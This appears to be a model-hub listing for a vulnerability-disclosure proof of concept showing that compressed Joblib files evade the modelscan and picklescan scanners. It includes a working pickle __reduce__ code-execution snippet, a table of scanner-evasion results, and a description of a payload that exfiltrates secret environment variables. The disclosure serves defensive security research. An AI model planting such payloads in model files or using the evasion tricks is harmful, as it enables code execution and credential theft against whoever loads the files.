You can deploy this model and start earning money today!

vellaveto/
joblib-scanner-bypass-poc

Name: joblib-scanner-bypass-poc
Availability: InStock

vulnerability-disclosure

model-file-vulnerability

mit

Views

No views yet

Joblib Scanner Bypass PoC — Security Research Artifacts

WARNING: These files are intentionally malicious model files created for authorized security research. DO NOT load them with joblib.load() outside of a sandboxed environment. They execute arbitrary code.

Purpose

These 6 .joblib files demonstrate that existing model file scanners (picklescan, modelscan) fail to detect malicious payloads in Joblib model files. This is a responsible disclosure artifact for the huntr MFV program.

Scanner Evasion Results (2026-03-20)

Payload	Evasion Technique	modelscan 0.8.8	picklescan 1.0.4	RCE?
`payload1_zlib_rce.joblib`	zlib compression	MISSED	0 globals (false neg)	Yes
`payload2_lzma_rce.joblib`	LZMA compression	MISSED	0 globals (false neg)	Yes
`payload3_hidden_in_numpy.joblib`	Nested in numpy array	MISSED	0 globals (false neg)	Yes
`payload4_uncompressed.joblib`	Baseline (no compression)	Detected	Detected	Yes
`payload5_exfil_secrets.joblib`	Credential exfiltration	MISSED	0 globals (false neg)	Yes
`payload6_fake_pipeline.joblib`	sklearn Pipeline mimicry	MISSED	0 globals (false neg)	Yes

modelscan misses 5/6 compressed payloads. picklescan reports "0 dangerous globals" on all compressed variants (false negative).

Files

payload1_zlib_rce.joblib — Standard __reduce__ RCE, zlib compressed. Scanners must decompress to detect.
payload2_lzma_rce.joblib — Same payload, LZMA compression. Scanners expecting zlib miss this.
payload3_hidden_in_numpy.joblib — RCE object hidden inside numpy.ndarray(dtype=object) within a dict that mimics an sklearn model (weights, biases, metadata).
payload4_uncompressed.joblib — No compression. Control sample — scanners should catch this.
payload5_exfil_secrets.joblib — Exfiltrates environment variables matching KEY/SECRET/TOKEN/PASS patterns.
payload6_fake_pipeline.joblib — Payload disguised as sklearn Pipeline with a StandardScaler-like class that has legitimate mean_/scale_ attributes.

How They Work

All payloads use Python pickle's __reduce__ protocol to execute code when deserialized:

python

class Evil:
    def __reduce__(self):
        return (eval, ("__import__('os').popen('id').read()",))

joblib.dump(Evil(), "payload.joblib", compress=('zlib', 9))
# Loading this file executes 'id' on the host:
result = joblib.load("payload.joblib")  # → "uid=1000(user) ..."

The evasion comes from Joblib's compression layer (zlib/LZMA) which transforms pickle opcodes into opaque binary, and from nesting payloads inside legitimate-looking numpy arrays.

Responsible Disclosure

Disclosed to: huntr MFV program
Affected: Any system that loads .joblib files from untrusted sources
Scanners affected: modelscan 0.8.8, picklescan 1.0.4
Researcher: vellaveto

Do Not Use Maliciously

These artifacts exist solely to improve model file security scanning. Using them against systems without authorization is illegal.

vellaveto/joblib-scanner-bypass-poc